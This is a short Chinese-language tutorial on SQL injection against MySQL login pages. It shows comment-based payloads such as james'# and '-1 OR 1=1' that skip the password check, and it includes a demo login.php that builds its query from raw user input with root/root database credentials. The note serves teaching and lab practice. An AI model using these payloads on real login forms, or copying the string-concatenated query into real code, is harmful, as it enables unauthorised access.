字符串注入,用MySql数据库的注释注入
如
#
--空格
id=? -1 or 1=1
name='?' and password='?' 有效用户名'# 或 有效用户名'-- 密码随便输1个
sql注入方式二
1.通过# 把sql语句后面的条件注释掉
james'#
select * from t_user where userName = 'james'#' and password = 'xxxxxx'
2.通过 -- sdd把后面的条件注释掉
james'-- 空格
select * from t_user where userName = 'james'-- ' and password = 'xxxxxx'
数字攻击:?id=-1 OR 1=1
字符串攻击:'# 或者 --空格 作用在于注释密码后面的内容,达到免密码验证登录
程序所需代码如下
login.html代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>用户登录</title>
</head>
<body>
<form action="login.php" method="post" >
<h2>用户登录</h2>
<input style='display:block;' name='user_name' type='text' placeholder='用户名'/>
<br/>
<input type='password' style='display:block;' name='password' placeholder='密码'/>
<br/>
<input type='submit' value='提交'/>
</form>
</body>
</html>
login.php代码:
<?php
$db_config = array(
'host' => 'localhost',
'port' => 3306,
'user' => 'root',
'password' => 'root',
'database' => 'test',
);
//传入参数非空校验
$user_name = isset($_REQUEST['user_name'])?$_REQUEST['user_name']:'';
$password = isset($_REQUEST['password'])?$_REQUEST['password']:'';
if(empty($user_name) || empty($password)){
die("参数不能为空!");
}
$server = $db_config['host'] . ':' . $db_config['port'];
$db = mysqli_connect($server,$db_config['user'],$db_config['password'],
$db_config['database']) or die('数据库连接错误!'.mysqli_error($db));
mysqli_set_charset($db,"utf-8");
//数字注入
$sql = 'select * from user where name=' . '"' . $user_name .'"'.'and age=' . $password;
echo "<pre>";
print_r($sql);
echo '</pre>';
$result = mysqli_query($db,$sql);
if(!$result){
die("数据库查询失败:" . mysqli_error($db));
}
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
if(empty($row)){
die("用户名或者密码错误!");
}
echo '<pre>';
print_r($row);
echo '</pre>';
echo 'login success';
mysqli_close($db);
?>